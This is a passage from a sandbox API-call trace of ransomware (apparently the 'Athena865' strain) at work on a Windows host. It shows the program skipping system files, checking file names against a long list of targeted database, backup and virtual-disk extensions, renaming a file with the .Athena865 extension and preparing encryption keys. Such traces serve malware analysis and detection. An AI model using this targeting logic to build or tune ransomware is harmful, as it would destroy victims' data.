nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.972] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.972] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0105.972] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0105.972] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0105.972] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".") returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="..") returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="windows") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="bootmgr") returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="temp") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="pagefile.sys") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="boot") returned 1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ids.txt") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="ntuser.dat") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="perflogs") returned -1 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2="MSBuild") returned -1 [0105.972] lstrlenW (lpString="dwintl20.dll") returned 12 [0105.972] lstrcpyW (in: lpString1=0x241e8d0, lpString2="dwintl20.dll" | out: lpString1="dwintl20.dll") returned="dwintl20.dll" [0105.972] lstrlenW (lpString="dwintl20.dll") returned 12 [0105.972] lstrlenW (lpString="Athena865") returned 9 [0105.972] lstrcmpiW (lpString1="ntl20.dll", lpString2="Athena865") returned 1 [0105.972] lstrlenW (lpString=".dll") returned 4 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".dll") returned 1 [0105.972] lstrlenW (lpString=".lnk") returned 4 [0105.972] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".lnk") returned 1 [0105.973] lstrlenW (lpString=".ini") returned 4 [0105.973] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".ini") returned 1 [0105.973] lstrlenW (lpString=".sys") returned 4 [0105.973] lstrcmpiW (lpString1="dwintl20.dll", lpString2=".sys") returned 1 [0105.973] lstrlenW (lpString="dwintl20.dll") returned 12 [0105.973] lstrlenW (lpString="bak") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0105.973] lstrlenW (lpString="ba_") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0105.973] lstrlenW (lpString="dbb") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0105.973] lstrlenW (lpString="vmdk") returned 4 [0105.973] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0105.973] lstrlenW (lpString="rar") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0105.973] lstrlenW (lpString="zip") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0105.973] lstrlenW (lpString="tgz") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0105.973] lstrlenW (lpString="vbox") returned 4 [0105.973] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0105.973] lstrlenW (lpString="vdi") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0105.973] lstrlenW (lpString="vhd") returned 3 [0105.973] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0105.973] lstrlenW (lpString="vhdx") returned 4 [0105.973] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0105.973] lstrlenW (lpString="avhd") returned 4 [0105.973] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0105.974] lstrlenW (lpString="db") returned 2 [0105.974] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0105.974] lstrlenW (lpString="db2") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0105.974] lstrlenW (lpString="db3") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0105.974] lstrlenW (lpString="dbf") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0105.974] lstrlenW (lpString="mdf") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0105.974] lstrlenW (lpString="mdb") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0105.974] lstrlenW (lpString="sql") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0105.974] lstrlenW (lpString="sqlite") returned 6 [0105.974] lstrcmpiW (lpString1="20.dll", lpString2="sqlite") returned -1 [0105.974] lstrlenW (lpString="sqlite3") returned 7 [0105.974] lstrcmpiW (lpString1="l20.dll", lpString2="sqlite3") returned -1 [0105.974] lstrlenW (lpString="sqlitedb") returned 8 [0105.974] lstrcmpiW (lpString1="tl20.dll", lpString2="sqlitedb") returned 1 [0105.974] lstrlenW (lpString="xml") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0105.974] lstrlenW (lpString="$er") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0105.974] lstrlenW (lpString="4dd") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0105.974] lstrlenW (lpString="4dl") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0105.974] lstrlenW (lpString="^^^") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0105.974] lstrlenW (lpString="abs") returned 3 [0105.974] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0105.975] lstrlenW (lpString="abx") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0105.975] lstrlenW (lpString="accdb") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0105.975] lstrlenW (lpString="accdc") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0105.975] lstrlenW (lpString="accde") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0105.975] lstrlenW (lpString="accdr") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0105.975] lstrlenW (lpString="accdt") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0105.975] lstrlenW (lpString="accdw") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0105.975] lstrlenW (lpString="accft") returned 5 [0105.975] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0105.975] lstrlenW (lpString="adb") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0105.975] lstrlenW (lpString="adb") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0105.975] lstrlenW (lpString="ade") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0105.975] lstrlenW (lpString="adf") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0105.975] lstrlenW (lpString="adn") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0105.975] lstrlenW (lpString="adp") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0105.975] lstrlenW (lpString="alf") returned 3 [0105.975] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0105.975] lstrlenW (lpString="ask") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0105.976] lstrlenW (lpString="btr") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0105.976] lstrlenW (lpString="cat") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0105.976] lstrlenW (lpString="cdb") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0105.976] lstrlenW (lpString="ckp") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0105.976] lstrlenW (lpString="cma") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0105.976] lstrlenW (lpString="cpd") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0105.976] lstrlenW (lpString="dacpac") returned 6 [0105.976] lstrcmpiW (lpString1="20.dll", lpString2="dacpac") returned -1 [0105.976] lstrlenW (lpString="dad") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0105.976] lstrlenW (lpString="dadiagrams") returned 10 [0105.976] lstrcmpiW (lpString1="intl20.dll", lpString2="dadiagrams") returned 1 [0105.976] lstrlenW (lpString="daschema") returned 8 [0105.976] lstrcmpiW (lpString1="tl20.dll", lpString2="daschema") returned 1 [0105.976] lstrlenW (lpString="db-journal") returned 10 [0105.976] lstrcmpiW (lpString1="intl20.dll", lpString2="db-journal") returned 1 [0105.976] lstrlenW (lpString="db-shm") returned 6 [0105.976] lstrcmpiW (lpString1="20.dll", lpString2="db-shm") returned -1 [0105.976] lstrlenW (lpString="db-wal") returned 6 [0105.976] lstrcmpiW (lpString1="20.dll", lpString2="db-wal") returned -1 [0105.976] lstrlenW (lpString="dbc") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0105.976] lstrlenW (lpString="dbs") returned 3 [0105.976] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0105.976] lstrlenW (lpString="dbt") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0105.977] lstrlenW (lpString="dbv") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0105.977] lstrlenW (lpString="dbx") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0105.977] lstrlenW (lpString="dcb") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0105.977] lstrlenW (lpString="dct") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0105.977] lstrlenW (lpString="dcx") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0105.977] lstrlenW (lpString="ddl") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0105.977] lstrlenW (lpString="dlis") returned 4 [0105.977] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0105.977] lstrlenW (lpString="dp1") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0105.977] lstrlenW (lpString="dqy") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0105.977] lstrlenW (lpString="dsk") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0105.977] lstrlenW (lpString="dsn") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0105.977] lstrlenW (lpString="dtsx") returned 4 [0105.977] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0105.977] lstrlenW (lpString="dxl") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0105.977] lstrlenW (lpString="eco") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0105.977] lstrlenW (lpString="ecx") returned 3 [0105.977] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0105.978] lstrlenW (lpString="edb") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0105.978] lstrlenW (lpString="epim") returned 4 [0105.978] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0105.978] lstrlenW (lpString="fcd") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0105.978] lstrlenW (lpString="fdb") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0105.978] lstrlenW (lpString="fic") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0105.978] lstrlenW (lpString="flexolibrary") returned 12 [0105.978] lstrlenW (lpString="fm5") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0105.978] lstrlenW (lpString="fmp") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0105.978] lstrlenW (lpString="fmp12") returned 5 [0105.978] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0105.978] lstrlenW (lpString="fmpsl") returned 5 [0105.978] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0105.978] lstrlenW (lpString="fol") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0105.978] lstrlenW (lpString="fp3") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0105.978] lstrlenW (lpString="fp4") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0105.978] lstrlenW (lpString="fp5") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0105.978] lstrlenW (lpString="fp7") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0105.978] lstrlenW (lpString="fpt") returned 3 [0105.978] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0105.978] lstrlenW (lpString="frm") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0105.979] lstrlenW (lpString="gdb") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0105.979] lstrlenW (lpString="gdb") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0105.979] lstrlenW (lpString="grdb") returned 4 [0105.979] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0105.979] lstrlenW (lpString="gwi") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0105.979] lstrlenW (lpString="hdb") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0105.979] lstrlenW (lpString="his") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0105.979] lstrlenW (lpString="ib") returned 2 [0105.979] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0105.979] lstrlenW (lpString="idb") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0105.979] lstrlenW (lpString="ihx") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0105.979] lstrlenW (lpString="itdb") returned 4 [0105.979] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0105.979] lstrlenW (lpString="itw") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0105.979] lstrlenW (lpString="jet") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0105.979] lstrlenW (lpString="jtx") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0105.979] lstrlenW (lpString="kdb") returned 3 [0105.979] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0105.979] lstrlenW (lpString="kexi") returned 4 [0105.979] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0105.979] lstrlenW (lpString="kexic") returned 5 [0105.980] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0105.980] lstrlenW (lpString="kexis") returned 5 [0105.980] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0105.980] lstrlenW (lpString="lgc") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0105.980] lstrlenW (lpString="lwx") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0105.980] lstrlenW (lpString="maf") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0105.980] lstrlenW (lpString="maq") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0105.980] lstrlenW (lpString="mar") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0105.980] lstrlenW (lpString="marshal") returned 7 [0105.980] lstrcmpiW (lpString1="l20.dll", lpString2="marshal") returned -1 [0105.980] lstrlenW (lpString="mas") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0105.980] lstrlenW (lpString="mav") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0105.980] lstrlenW (lpString="maw") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0105.980] lstrlenW (lpString="mdbhtml") returned 7 [0105.980] lstrcmpiW (lpString1="l20.dll", lpString2="mdbhtml") returned -1 [0105.980] lstrlenW (lpString="mdn") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0105.980] lstrlenW (lpString="mdt") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0105.980] lstrlenW (lpString="mfd") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0105.980] lstrlenW (lpString="mpd") returned 3 [0105.980] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0105.980] lstrlenW (lpString="mrg") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0105.981] lstrlenW (lpString="mud") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0105.981] lstrlenW (lpString="mwb") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0105.981] lstrlenW (lpString="myd") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0105.981] lstrlenW (lpString="ndf") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0105.981] lstrlenW (lpString="nnt") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0105.981] lstrlenW (lpString="nrmlib") returned 6 [0105.981] lstrcmpiW (lpString1="20.dll", lpString2="nrmlib") returned -1 [0105.981] lstrlenW (lpString="ns2") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0105.981] lstrlenW (lpString="ns3") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0105.981] lstrlenW (lpString="ns4") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0105.981] lstrlenW (lpString="nsf") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0105.981] lstrlenW (lpString="nv") returned 2 [0105.981] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0105.981] lstrlenW (lpString="nv2") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0105.981] lstrlenW (lpString="nwdb") returned 4 [0105.981] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0105.981] lstrlenW (lpString="nyf") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0105.981] lstrlenW (lpString="odb") returned 3 [0105.981] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0105.981] lstrlenW (lpString="odb") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0105.982] lstrlenW (lpString="oqy") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0105.982] lstrlenW (lpString="ora") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0105.982] lstrlenW (lpString="orx") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0105.982] lstrlenW (lpString="owc") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0105.982] lstrlenW (lpString="p96") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0105.982] lstrlenW (lpString="p97") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0105.982] lstrlenW (lpString="pan") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0105.982] lstrlenW (lpString="pdb") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0105.982] lstrlenW (lpString="pdm") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0105.982] lstrlenW (lpString="pnz") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0105.982] lstrlenW (lpString="qry") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0105.982] lstrlenW (lpString="qvd") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0105.982] lstrlenW (lpString="rbf") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0105.982] lstrlenW (lpString="rctd") returned 4 [0105.982] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0105.982] lstrlenW (lpString="rod") returned 3 [0105.982] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0105.982] lstrlenW (lpString="rodx") returned 4 [0105.983] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0105.983] lstrlenW (lpString="rpd") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0105.983] lstrlenW (lpString="rsd") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0105.983] lstrlenW (lpString="sas7bdat") returned 8 [0105.983] lstrcmpiW (lpString1="tl20.dll", lpString2="sas7bdat") returned 1 [0105.983] lstrlenW (lpString="sbf") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0105.983] lstrlenW (lpString="scx") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0105.983] lstrlenW (lpString="sdb") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0105.983] lstrlenW (lpString="sdc") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0105.983] lstrlenW (lpString="sdf") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0105.983] lstrlenW (lpString="sis") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0105.983] lstrlenW (lpString="spq") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0105.983] lstrlenW (lpString="te") returned 2 [0105.983] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0105.983] lstrlenW (lpString="teacher") returned 7 [0105.983] lstrcmpiW (lpString1="l20.dll", lpString2="teacher") returned -1 [0105.983] lstrlenW (lpString="tmd") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0105.983] lstrlenW (lpString="tps") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0105.983] lstrlenW (lpString="trc") returned 3 [0105.983] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0105.984] lstrlenW (lpString="trc") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0105.984] lstrlenW (lpString="trm") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0105.984] lstrlenW (lpString="udb") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0105.984] lstrlenW (lpString="udl") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0105.984] lstrlenW (lpString="usr") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0105.984] lstrlenW (lpString="v12") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0105.984] lstrlenW (lpString="vis") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0105.984] lstrlenW (lpString="vpd") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0105.984] lstrlenW (lpString="vvv") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0105.984] lstrlenW (lpString="wdb") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0105.984] lstrlenW (lpString="wmdb") returned 4 [0105.984] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0105.984] lstrlenW (lpString="wrk") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0105.984] lstrlenW (lpString="xdb") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0105.984] lstrlenW (lpString="xld") returned 3 [0105.984] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0105.984] lstrlenW (lpString="xmlff") returned 5 [0105.984] lstrcmpiW (lpString1="0.dll", lpString2="xmlff") returned -1 [0105.984] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.Athena865") returned 90 [0105.984] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.athena865"), dwFlags=0x1) returned 1 [0105.985] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0105.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=107912) returned 1 [0105.985] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0105.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0105.986] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0105.986] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0105.986] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0105.986] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.987] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a890, lpName=0x0) returned 0x154 [0105.988] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a890) returned 0x100000 [0105.995] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0105.996] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0105.996] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0105.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0105.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0105.997] RtlAllocateHeap 